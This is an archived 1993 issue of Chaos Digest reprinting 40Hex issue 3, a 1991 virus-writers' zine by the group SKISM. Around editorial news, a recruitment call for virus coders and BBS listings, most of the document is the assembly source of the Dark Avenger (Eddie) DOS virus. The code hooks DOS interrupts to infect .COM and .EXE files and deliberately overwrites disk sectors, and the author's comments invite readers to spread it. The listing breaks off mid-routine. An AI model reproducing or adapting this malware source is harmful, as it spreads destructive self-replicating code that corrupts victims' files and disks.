home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KAOS1_35.ZIP / KAOS1-35
Encoding:
Text File  |  1993-06-02  |  26.6 KB  |  875 lines

  1. Chaos Digest             Lundi 24 Mai 1993        Volume 1 : Numero 35
  2.                           ISSN  1244-4901
  3.  
  4.        Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
  5.        Archiviste: Yves-Marie Crabbe
  6.        Co-Redacteurs: Arnaud Bigare, Stephane Briere
  7.  
  8. TABLE DES MATIERES, #1.35 (24 Mai 1993)
  9. File 1--40H VMag Issue 1 Volume 3 #000-003(1) (reprint)
  10.  
  11. Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
  12. available at no cost by sending a message to:
  13.                 linux-activists-request@niksula.hut.fi
  14. with a mail header or first line containing the following informations:
  15.                     X-Mn-Admin: join CHAOS_DIGEST
  16.  
  17. The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
  18. or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
  19. 155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
  20. groups.
  21.  
  22. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
  23. 466893.  Back issues of ChaosD can be found on the Internet as part of the
  24. Computer underground Digest archives.  They're accessible using anonymous FTP:
  25.  
  26.         * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
  27.         * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
  28.         * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
  29.         * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
  30.         * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
  31.         * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
  32.         * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
  33.  
  34. CHAOS DIGEST is an open forum dedicated to sharing French information among
  35. computerists and to the presentation and debate of diverse views. ChaosD
  36. material may be reprinted for non-profit as long as the source is cited.
  37. Some authors do copyright their material, and they should be contacted for
  38. reprint permission.  Readers are encouraged to submit reasoned articles in
  39. French, English or German languages relating to computer culture and
  40. telecommunications.  Articles are preferred to short responses.  Please
  41. avoid quoting previous posts unless absolutely necessary.
  42.  
  43. DISCLAIMER: The views represented herein do not necessarily represent
  44.             the views of the moderators. Chaos Digest contributors
  45.             assume all responsibility for ensuring that articles
  46.             submitted do not violate copyright protections.
  47.  
  48. ----------------------------------------------------------------------
  49.  
  50. Date: Tue May 11 09:24:40 PDT 1993
  51. From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
  52. Subject: File 1--40H VMag Issue 1 Volume 3 #000-003(1) (reprint)
  53.  
  54.  
  55. 40Hex Issue 3                                                      0000
  56.  
  57.                                 Contents
  58.                                 --------
  59.  
  60.   A Word From Hellraiser.......................................0001
  61.   The Dark Avenger Source......................................0002
  62.   Anthrax......................................................0003
  63.   The 40Hex Challenge/The Strange Case of Validate.............0004
  64.   Application for SKISM........................................0005
  65.   Virus News For October/91....................................0006
  66.   The Darth Vader Virus Strain B...............................0007
  67.   Mystery Virus................................................0008
  68.   Tiny-F Source................................................0009
  69.   Afterwords...................................................0010
  70.  
  71.                                  Staff
  72.                                  -----
  73.  
  74.   Hellraiser...............Editor/Writer/Programmer/Tech. Consultant
  75.   Garbage Heap.....................Writer/Spell Checker/Distribution
  76.  
  77.   Special Thanks to...  Demogorgan, Dark Angel, Count Zero, Piff',
  78.                         Paragon Dude, The Fisch, Gambit, Punisher,
  79.                         Nuclear Warhead, Ironlord (and the rest of
  80.                         the alliance people all our freinds in PA, CT,
  81.                         and all over the world, and most of all our
  82.                         readers for your support.
  83.  
  84.  
  85.     SKISM distribution sites as of 10/91
  86.  
  87.     Jihad                   - 1-(408)-XXX-XXXX : California
  88.     The Night Eyes BBS      - 1-(717)-367-3501 : Pennsylvania
  89.     The Punishment Due BBS  - 1-(203)-675-???? : Connecticut   * DOWN *
  90.  
  91. +++++
  92.  
  93. 40Hex Issue 3                                                      0001
  94.  
  95.           - Gray would be the color, if I had a heart.
  96.  
  97.  
  98.           Well what's up.  Sorry about the delay with issue three
  99.           but there's been a lot of stuff going down.  I've been
  100.           working on a lot of semi-legit projects and all that so
  101.           I haven't gotten around to 40Hex till now.
  102.  
  103.           Anyway, first big news is this.  SKISM has now co-oped
  104.           with the New York based group PHALCON, thus broadening
  105.           both groups span of diversity.  SKISM being an all virus
  106.           group and PHALCON dealing with mainly h/p.
  107.  
  108.           Secondly, SKISM is hoping to broaden its membership a
  109.           bit.  We are looking for a few good virus writers.
  110.           Mainly what we need is some people who are very good
  111.           at assembly code and first and foremost virus writing.
  112.           Lame bomb writers, Q-Basic coders and such need not apply.
  113.           We are not just looking for IBM coders, as we are also
  114.           broading to Mac and Amiga.
  115.  
  116.           Thirdly, SKISM gained a new HQ in PA., it is called Night
  117.           Eyes BBS.  The number is (717)-367-3501, supporting
  118.           12/24/96/14.4 baud rates.
  119.  
  120. [ChaosD: DOWN! a ce jour... il semblerait qu'il n'est jamais fonctionne!]
  121.  
  122.           Finally, The Landfill BBS, whos number is listed as the
  123.           SKISM HQ in issue two, is no longer our HQ.  Although
  124.           we are still on very good terms with the staff of that
  125.           BBS, please refrain from calling it with virus related
  126.           topics (they are no-longer h/p, just Amiga wares).  Any-
  127.           way the new New York SKISM base should be up and running
  128.           by tops October.  It will be called Hell On Earth and I
  129.           myself will be sysop.
  130.  
  131.           Well enjoy...
  132.  
  133.           - Hellraiser
  134.  
  135.  
  136.                              -- Appendum --
  137.  
  138.           Well about three days after writing this artical I found out
  139.           that I am being shipped to California.  This sucks...
  140.  
  141.           Well looks like Hell On Earth will be up out there instead of
  142.           New York.
  143.  
  144.           Call our home boards to keep in touch with the situation.  I
  145.           can still be left mail on Night Eyes.
  146.  
  147.  
  148.                             -- Appendum B --
  149.                                 10/25/91
  150.  
  151.           Well, it's been over a month since I wrote the above.  Nothing
  152.           much has changed since then.  I'm in CA. now and without a
  153.           system.  Phalcon members have been going off -- mostly Dark Angel,
  154.           who has a new virus coming out, Bob Ross.  I hope I can get it
  155.           for this issue.
  156.  
  157.           Anyway, in other news The Punishment Due - Skism distribution
  158.           site has gone down.  I am looking for other BBS's to add the
  159.           collection to.
  160.  
  161.           More news... There is another Hell On Earth BBS out there so
  162.           it looks like I am going to have to change the name of my
  163.           BBS, when I get my system.  Ironically I am concidering having
  164.           the other Hell On Earth as a Skism distribution site.
  165.  
  166.           Even more news...  I have been getting a lot of shit cause
  167.           of my name.  There seems to be other Hellraisers out there,
  168.           who claim they were the first... Fuck you all!  I had the name
  169.           since 1989, when I read Clive Barkers novella - "The Hellbound
  170.           Heart."  If you had it before then, its yours.  However after
  171.           calling a lot of boards nationally lately I never had a problem
  172.           logging on due to my name.  Shows how lame people are.
  173.  
  174.           Well thats it for now... Hope this issue will be out shortly.
  175.  
  176. +++++
  177.  
  178. 40Hex Issue 3                                                      0002
  179.  
  180.                             The Dark Avenger
  181.  
  182.     - We are demons to some, angels to others.
  183.  
  184.     Well, here it is.  Here is the first major virus source, from the
  185.     man who brought us such greats as V2000, Anthrax, and V2100 to name
  186.     a few.  Well this Bulgarian metal lover was nice enough to freely
  187.     distribute the source code to his first virus.
  188.  
  189. -----------------------------------------------------------------------------
  190.  
  191. ;"Blessed is he who expects nothing, for he shall not be disappointed."
  192.  
  193. ;The original source of one of the first Bulgarian viruses is in front of
  194. ;you.  As you may notice, it's full of rubbish and bugs, but nevertheless
  195. ;the virus has spread surprisingly quickly troughout the country and made a
  196. ;quick round the globe.  (It's well-known in Eastern and Western Europe, as
  197. ;well as in USA.) Due to the aniversary of its creation, the source is
  198. ;distributed freely.  You have the rights to distribute the source which can
  199. ;be charged or free of charge, with the only condition not to modify it.
  200. ;The one, who intentionaly distributes this source modified in any way will
  201. ;be punished!  Still, the author will be glad if any of you improves it and
  202. ;spreads the resulting executive file (i.e., the virus itself).  Pay
  203. ;attention to the fact that after you assemble the source, the resulting
  204. ;.COM-file cannot be run.  For that purpose you have to create a three-byte
  205. ;file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
  206. ;two files.  Don't try to place a JMP at the beginning of the source.
  207.  
  208. ;DISCLAIMER: The author does not take any responsability for any damage,
  209. ;either direct or implied, caused by the usage or not of this source or of
  210. ;the resulting code after assembly. No warrant is made about the product
  211. ;functionability or quality.
  212.  
  213. ;I cannot resist to express my special gratitude to my "populazer" Dipl.
  214. ;eng. Vesselin Bontchev, who makes me famous and who, wishing it or
  215. ;not, helps very much in the spreading of my viruses, in spite of the fact
  216. ;that he tries to do just the opposite (writing programs in C has never
  217. ;led to any good).
  218. ;Greetings to all virus writers!
  219.  
  220. code    segment
  221.         assume  cs:code,ds:code
  222. copyright:
  223.         db      'Eddie lives...somewhere in time!',0
  224. date_stamp:
  225.         dd      12239000h
  226. checksum:
  227.         db      30
  228.  
  229. ;Return the control to an .EXE file:
  230. ;Restores DS=ES=PSP, loads SS:SP and CS:IP.
  231.  
  232. exit_exe:
  233.         mov     bx,es
  234.         add     bx,10h
  235.         add     bx,word ptr cs:[si+call_adr+2]
  236.         mov     word ptr cs:[si+patch+2],bx
  237.         mov     bx,word ptr cs:[si+call_adr]
  238.         mov     word ptr cs:[si+patch],bx
  239.         mov     bx,es
  240.         add     bx,10h
  241.         add     bx,word ptr cs:[si+stack_pointer+2]
  242.         mov     ss,bx
  243.         mov     sp,word ptr cs:[si+stack_pointer]
  244.         db      0eah                    ;JMP XXXX:YYYY
  245. patch:
  246.         dd      0
  247.  
  248. ;Returns control to a .COM file:
  249. ;Restores the first 3 bytes in the
  250. ;beginning of the file, loads SP and IP.
  251.  
  252. exit_com:
  253.  
  254.         mov     di,100h
  255.         add     si,offset my_save
  256.         movsb
  257.         movsw
  258.         mov     sp,ds:[6]               ;This is incorrect
  259.         xor     bx,bx
  260.         push    bx
  261.         jmp     [si-11]                 ;si+call_adr-top_file
  262.  
  263. ;Program entry point
  264.  
  265. startup:
  266.         call    relative
  267. relative:
  268.         pop     si                      ;SI = $
  269.         sub     si,offset relative
  270.         cld
  271.         cmp     word ptr cs:[si+my_save],5a4dh
  272.         je      exe_ok
  273.         cli
  274.         mov     sp,si                   ;A separate stack is supported for
  275.         add     sp,offset top_file+100h ;the .COM files, in order not to
  276.         sti                             ;overlap the stack by the program
  277.         cmp     sp,ds:[6]
  278.         jnc     exit_com
  279. exe_ok:
  280.         push    ax
  281.         push    es
  282.         push    si
  283.         push    ds
  284.         mov     di,si
  285.  
  286. ;Looking for the address of INT 13h handler in ROM-BIOS
  287.  
  288.         xor     ax,ax
  289.         push    ax
  290.         mov     ds,ax
  291.         les     ax,ds:[13h*4]
  292.         mov     word ptr cs:[si+fdisk],ax
  293.         mov     word ptr cs:[si+fdisk+2],es
  294.         mov     word ptr cs:[si+disk],ax
  295.         mov     word ptr cs:[si+disk+2],es
  296.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT
  297. 40h
  298.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  299.         jne     nofdisk                 ;available
  300.         mov     word ptr cs:[si+disk+2],ax
  301.         mov     ax,ds:[40h*4]
  302.         mov     word ptr cs:[si+disk],ax
  303.         mov     dl,80h
  304.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
  305.         cmp     ax,0f000h               ;where the original INT 13h vector is
  306.         je      isfdisk
  307.         cmp     ah,0c8h
  308.         jc      nofdisk
  309.         cmp     ah,0f4h
  310.         jnc     nofdisk
  311.         test    al,7fh
  312.         jnz     nofdisk
  313.         mov     ds,ax
  314.         cmp     ds:[0],0aa55h
  315.         jne     nofdisk
  316.         mov     dl,ds:[2]
  317. isfdisk:
  318.         mov     ds,ax
  319.         xor     dh,dh
  320.         mov     cl,9
  321.         shl     dx,cl
  322.         mov     cx,dx
  323.         xor     si,si
  324. findvect:
  325.         lodsw                           ;Occasionally begins with:
  326.         cmp     ax,0fa80h               ;       CMP     DL,80h
  327.         jne     altchk                  ;       JNC     somewhere
  328.         lodsw
  329.         cmp     ax,7380h
  330.         je      intchk
  331.         jne     nxt0
  332. altchk:
  333.         cmp     ax,0c2f6h               ;or with:
  334.         jne     nxt                     ;       TEST    DL,80h
  335.         lodsw                           ;       JNZ     somewhere
  336.         cmp     ax,7580h
  337.         jne     nxt0
  338. intchk:
  339.         inc     si                      ;then there is:
  340.         lodsw                           ;       INT     40h
  341.         cmp     ax,40cdh
  342.         je      found
  343.         sub     si,3
  344. nxt0:
  345.         dec     si
  346.         dec     si
  347. nxt:
  348.         dec     si
  349.         loop    findvect
  350.         jmp     short nofdisk
  351. found:
  352.         sub     si,7
  353.         mov     word ptr cs:[di+fdisk],si
  354.         mov     word ptr cs:[di+fdisk+2],ds
  355. nofdisk:
  356.         mov     si,di
  357.         pop     ds
  358.  
  359. ;Check whether the program is present in memory:
  360.  
  361.         les     ax,ds:[21h*4]
  362.         mov     word ptr cs:[si+save_int_21],ax
  363.         mov     word ptr cs:[si+save_int_21+2],es
  364.         push    cs
  365.         pop     ds
  366.         cmp     ax,offset int_21
  367.         jne     bad_func
  368.         xor     di,di
  369.         mov     cx,offset my_size
  370. scan_func:
  371.         lodsb
  372.         scasb
  373.         jne     bad_func
  374.         loop    scan_func
  375.         pop     es
  376.         jmp     go_program
  377.  
  378. ;Move the program to the top of memory:
  379. ;(it's full of rubbish and bugs here)
  380.  
  381. bad_func:
  382.         pop     es
  383.         mov     ah,49h
  384.         int     21h
  385.         mov     bx,0ffffh
  386.         mov     ah,48h
  387.         int     21h
  388.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  389.         jc      go_program
  390.         mov     cx,es
  391.         stc
  392.         adc     cx,bx
  393.         mov     ah,4ah
  394.         int     21h
  395.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  396.         stc
  397.         sbb     es:[2],bx
  398.         push    es
  399.         mov     es,cx
  400.         mov     ah,4ah
  401.         int     21h
  402.         mov     ax,es
  403.         dec     ax
  404.         mov     ds,ax
  405.         mov     word ptr ds:[1],8
  406.         call    mul_16
  407.         mov     bx,ax
  408.         mov     cx,dx
  409.         pop     ds
  410.         mov     ax,ds
  411.         call    mul_16
  412.         add     ax,ds:[6]
  413.         adc     dx,0
  414.         sub     ax,bx
  415.         sbb     dx,cx
  416.         jc      mem_ok
  417.         sub     ds:[6],ax               ;Reduction of the segment size
  418. mem_ok:
  419.         pop     si
  420.         push    si
  421.         push    ds
  422.         push    cs
  423.         xor     di,di
  424.         mov     ds,di
  425.         lds     ax,ds:[27h*4]
  426.         mov     word ptr cs:[si+save_int_27],ax
  427.         mov     word ptr cs:[si+save_int_27+2],ds
  428.         pop     ds
  429.         mov     cx,offset aux_size
  430.         rep     movsb
  431.         xor     ax,ax
  432.         mov     ds,ax
  433.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  434.         mov     ds:[21h*4+2],es
  435.         mov     ds:[27h*4],offset int_27
  436.         mov     ds:[27h*4+2],es
  437.         mov     word ptr es:[filehndl],ax
  438.         pop     es
  439. go_program:
  440.         pop     si
  441.  
  442. ;Smash the next disk sector:
  443.  
  444.         xor     ax,ax
  445.         mov     ds,ax
  446.         mov     ax,ds:[13h*4]
  447.         mov     word ptr cs:[si+save_int_13],ax
  448.         mov     ax,ds:[13h*4+2]
  449.         mov     word ptr cs:[si+save_int_13+2],ax
  450.         mov     ds:[13h*4],offset int_13
  451.         add     ds:[13h*4],si
  452.         mov     ds:[13h*4+2],cs
  453.         pop     ds
  454.         push    ds
  455.         push    si
  456.         mov     bx,si
  457.         lds     ax,ds:[2ah]
  458.         xor     si,si
  459.         mov     dx,si
  460. scan_envir:                             ;Fetch program's name
  461.         lodsw                           ;(with DOS 2.x it doesn't work anyway)
  462.         dec     si
  463.         test    ax,ax
  464.         jnz     scan_envir
  465.         add     si,3
  466.         lodsb
  467.  
  468. ;The following instruction is a complete nonsense.  Try to enter a drive &
  469. ;directory path in lowercase, then run an infected program from there.
  470. ;As a result of an error here + an error in DOS the next sector is not
  471. ;smashed. Two memory bytes are smashed instead, most probably onto the
  472. ;infected program.
  473.  
  474.         sub     al,'A'
  475.         mov     cx,1
  476.         push    cs
  477.         pop     ds
  478.         add     bx,offset int_27
  479.         push    ax
  480.         push    bx
  481.         push    cx
  482.         int     25h
  483.         pop     ax
  484.         pop     cx
  485.         pop     bx
  486.         inc     byte ptr [bx+0ah]
  487.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  488.         jnz     store_sec               ;nothing is not enough for some.
  489.         mov     al,[bx+10h]
  490.         xor     ah,ah
  491.         mul     word ptr [bx+16h]
  492.         add     ax,[bx+0eh]
  493.         push    ax
  494.         mov     ax,[bx+11h]
  495.         mov     dx,32
  496.         mul     dx
  497.         div     word ptr [bx+0bh]
  498.         pop     dx
  499.         add     dx,ax
  500.         mov     ax,[bx+8]
  501.         add     ax,40h
  502.         cmp     ax,[bx+13h]
  503.         jc      store_new
  504.         inc     ax
  505.         and     ax,3fh
  506.         add     ax,dx
  507.         cmp     ax,[bx+13h]
  508.         jnc     small_disk
  509. store_new:
  510.         mov     [bx+8],ax
  511. store_sec:
  512.         pop     ax
  513.         xor     dx,dx
  514.         push    ax
  515.         push    bx
  516.         push    cx
  517.         int     26h
  518.  
  519. ;The writing trough this interrupt is not the smartest thing, bacause it
  520. ;can be intercepted (what Vesselin Bontchev has managed to notice).
  521.  
  522.         pop     ax
  523.         pop     cx
  524.         pop     bx
  525.         pop     ax
  526.         cmp     byte ptr [bx+0ah],0
  527.         jne     not_now
  528.         mov     dx,[bx+8]
  529.         pop     bx
  530.         push    bx
  531.         int     26h
  532. small_disk:
  533.         pop     ax
  534. not_now:
  535.         pop     si
  536.         xor     ax,ax
  537.         mov     ds,ax
  538.         mov     ax,word ptr cs:[si+save_int_13]
  539.         mov     ds:[13h*4],ax
  540.         mov     ax,word ptr cs:[si+save_int_13+2]
  541.         mov     ds:[13h*4+2],ax
  542.         pop     ds
  543.         pop     ax
  544.         cmp     word ptr cs:[si+my_save],5a4dh
  545.         jne     go_exit_com
  546.         jmp     exit_exe
  547. go_exit_com:
  548.         jmp     exit_com
  549. int_24:
  550.         mov     al,3                    ;This instruction seems unnecessary
  551.         iret
  552.  
  553. ;INT 27h handler (this is necessary)
  554.  
  555. int_27:
  556.         pushf
  557.         call    alloc
  558.         popf
  559.         jmp     dword ptr cs:[save_int_27]
  560.  
  561. ;During the DOS functions Set & Get Vector it seems that the virus has not
  562. ;intercepted them (this is a doubtfull advantage and it is a possible
  563. ;source of errors with some "intelligent" programs)
  564.  
  565. set_int_27:
  566.         mov     word ptr cs:[save_int_27],dx
  567.         mov     word ptr cs:[save_int_27+2],ds
  568.         popf
  569.         iret
  570. set_int_21:
  571.         mov     word ptr cs:[save_int_21],dx
  572.         mov     word ptr cs:[save_int_21+2],ds
  573.         popf
  574.         iret
  575. get_int_27:
  576.         les     bx,dword ptr cs:[save_int_27]
  577.         popf
  578.         iret
  579. get_int_21:
  580.         les     bx,dword ptr cs:[save_int_21]
  581.         popf
  582.         iret
  583.  
  584. exec:
  585.         call    do_file
  586.         call    alloc
  587.         popf
  588.         jmp     dword ptr cs:[save_int_21]
  589.  
  590.         db      'Diana P.',0
  591.  
  592. ;INT 21h handler.  Infects files during execution, copying, browsing or
  593. ;creating and some other operations. The execution of functions 0 and 26h
  594. ;has bad consequences.
  595.  
  596. int_21:
  597.         push    bp
  598.         mov     bp,sp
  599.         push    [bp+6]
  600.         popf
  601.         pop     bp
  602.         pushf
  603.         call    ontop
  604.         cmp     ax,2521h
  605.         je      set_int_21
  606.         cmp     ax,2527h
  607.         je      set_int_27
  608.         cmp     ax,3521h
  609.         je      get_int_21
  610.         cmp     ax,3527h
  611.         je      get_int_27
  612.         cld
  613.         cmp     ax,4b00h
  614.         je      exec
  615.         cmp     ah,3ch
  616.         je      create
  617.         cmp     ah,3eh
  618.         je      close
  619.         cmp     ah,5bh
  620.         jne     not_create
  621. create:
  622.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  623.         jne     dont_touch
  624.         call    see_name
  625.         jnz     dont_touch
  626.         call    alloc
  627.         popf
  628.         call    function
  629.         jc      int_exit
  630.         pushf
  631.         push    es
  632.         push    cs
  633.         pop     es
  634.         push    si
  635.         push    di
  636.         push    cx
  637.         push    ax
  638.         mov     di,offset filehndl
  639.         stosw
  640.         mov     si,dx
  641.         mov     cx,65
  642. move_name:
  643.         lodsb
  644.         stosb
  645.         test    al,al
  646.         jz      all_ok
  647.         loop    move_name
  648.         mov     word ptr es:[filehndl],cx
  649. all_ok:
  650.         pop     ax
  651.         pop     cx
  652.         pop     di
  653.         pop     si
  654.         pop     es
  655. go_exit:
  656.         popf
  657.         jnc     int_exit                ;JMP
  658. close:
  659.         cmp     bx,word ptr cs:[filehndl]
  660.         jne     dont_touch
  661.         test    bx,bx
  662.         jz      dont_touch
  663.         call    alloc
  664.         popf
  665.         call    function
  666.         jc      int_exit
  667.         pushf
  668.         push    ds
  669.         push    cs
  670.         pop     ds
  671.         push    dx
  672.         mov     dx,offset filehndl+2
  673.         call    do_file
  674.         mov     word ptr cs:[filehndl],0
  675.         pop     dx
  676.         pop     ds
  677.         jmp     go_exit
  678. not_create:
  679.         cmp     ah,3dh
  680.         je      touch
  681.         cmp     ah,43h
  682.         je      touch
  683.         cmp     ah,56h                  ;Unfortunately, the command inter-
  684.         jne     dont_touch              ;preter does not use this function
  685. touch:
  686.         call    see_name
  687.         jnz     dont_touch
  688.         call    do_file
  689. dont_touch:
  690.         call    alloc
  691.         popf
  692.         call    function
  693. int_exit:
  694.         pushf
  695.         push    ds
  696.         call    get_chain
  697.         mov     byte ptr ds:[0],'Z'
  698.         pop     ds
  699.         popf
  700. dummy   proc    far                     ;???
  701.         ret     2
  702. dummy   endp
  703.  
  704. ;Checks whether the file is .COM or .EXE.
  705. ;It is not called upon file execution.
  706.  
  707. see_name:
  708.         push    ax
  709.         push    si
  710.         mov     si,dx
  711. scan_name:
  712.         lodsb
  713.         test    al,al
  714.         jz      bad_name
  715.         cmp     al,'.'
  716.         jnz     scan_name
  717.         call    get_byte
  718.         mov     ah,al
  719.         call    get_byte
  720.         cmp     ax,'co'
  721.         jz      pos_com
  722.         cmp     ax,'ex'
  723.         jnz     good_name
  724.         call    get_byte
  725.         cmp     al,'e'
  726.         jmp     short good_name
  727. pos_com:
  728.         call    get_byte
  729.         cmp     al,'m'
  730.         jmp     short good_name
  731. bad_name:
  732.         inc     al
  733. good_name:
  734.         pop     si
  735.         pop     ax
  736.         ret
  737.  
  738. ;Converts into lowercase (the subroutines are a great thing).
  739.  
  740. get_byte:
  741.         lodsb
  742.         cmp     al,'C'
  743.         jc      byte_got
  744.         cmp     al,'Y'
  745.         jnc     byte_got
  746.         add     al,20h
  747. byte_got:
  748.         ret
  749.  
  750. ;Calls the original INT 21h.
  751.  
  752. function:
  753.         pushf
  754.         call    dword ptr cs:[save_int_21]
  755.         ret
  756.  
  757. ;Arrange to infect an executable file.
  758.  
  759. do_file:
  760.         push    ds                      ;Save the registers in stack
  761.         push    es
  762.         push    si
  763.         push    di
  764.         push    ax
  765.         push    bx
  766.         push    cx
  767.         push    dx
  768.         mov     si,ds
  769.         xor     ax,ax
  770.         mov     ds,ax
  771.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
  772.         push    es                      ;and changes them with what is needed
  773.         push    ax
  774.         mov     ds:[24h*4],offset int_24
  775.         mov     ds:[24h*4+2],cs
  776.         les     ax,ds:[13h*4]
  777.         mov     word ptr cs:[save_int_13],ax
  778.         mov     word ptr cs:[save_int_13+2],es
  779.         mov     ds:[13h*4],offset int_13
  780.         mov     ds:[13h*4+2],cs
  781.         push    es
  782.         push    ax
  783.         mov     ds,si
  784.         xor     cx,cx                   ;Arranges to infect Read-only files
  785.         mov     ax,4300h
  786.         call    function
  787.         mov     bx,cx
  788.         and     cl,0feh
  789.         cmp     cl,bl
  790.         je      dont_change
  791.         mov     ax,4301h
  792.         call    function
  793.         stc
  794. dont_change:
  795.         pushf
  796.         push    ds
  797.         push    dx
  798.         push    bx
  799.         mov     ax,3d02h                ;Now we can safely open the file
  800.         call    function
  801.         jc      cant_open
  802.         mov     bx,ax
  803.         call    disease
  804.         mov     ah,3eh                  ;Close it
  805.  
  806.         call    function
  807. cant_open:
  808.         pop     cx
  809.         pop     dx
  810.         pop     ds
  811.         popf
  812.         jnc     no_update
  813.         mov     ax,4301h                ;Restores file's attributes
  814.         call    function                ;if they were changed (just in case)
  815. no_update:
  816.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  817.         mov     ds,ax
  818.         pop     ds:[13h*4]
  819.         pop     ds:[13h*4+2]
  820.         pop     ds:[24h*4]
  821.         pop     ds:[24h*4+2]
  822.         pop     dx                      ;Register restoration
  823.         pop     cx
  824.         pop     bx
  825.         pop     ax
  826.         pop     di
  827.         pop     si
  828.         pop     es
  829.         pop     ds
  830.         ret
  831.  
  832. ;This routine is the working horse.
  833.  
  834. disease:
  835.         push    cs
  836.         pop     ds
  837.         push    cs
  838.         pop     es
  839.         mov     dx,offset top_save      ;Read the file beginning
  840.         mov     cx,18h
  841.         mov     ah,3fh
  842.         int     21h
  843.         xor     cx,cx
  844.         xor     dx,dx
  845.         mov     ax,4202h                ;Save file length
  846.         int     21h
  847.         mov     word ptr [top_save+1ah],dx
  848.         cmp     ax,offset my_size       ;This should be top_file
  849.         sbb     dx,0
  850.         jc      stop_fuck_2             ;Small files are not infected
  851.         mov     word ptr [top_save+18h],ax
  852.         cmp     word ptr [top_save],5a4dh
  853.         jne     com_file
  854.         mov     ax,word ptr [top_save+8]
  855.         add     ax,word ptr [top_save+16h]
  856.         call    mul_16
  857.         add     ax,word ptr [top_save+14h]
  858.         adc     dx,0
  859.         mov     cx,dx
  860.         mov     dx,ax
  861.         jmp     short see_sick
  862. com_file:
  863.         cmp     byte ptr [top_save],0e9h
  864.         jne     see_fuck
  865.         mov     dx,word ptr [top_save+1]
  866.         add     dx,103h
  867.         jc      see_fuck
  868.         dec     dh
  869.         xor     cx,cx
  870.  
  871. ------------------------------
  872.  
  873. End of Chaos Digest #1.35
  874. ************************************
  875.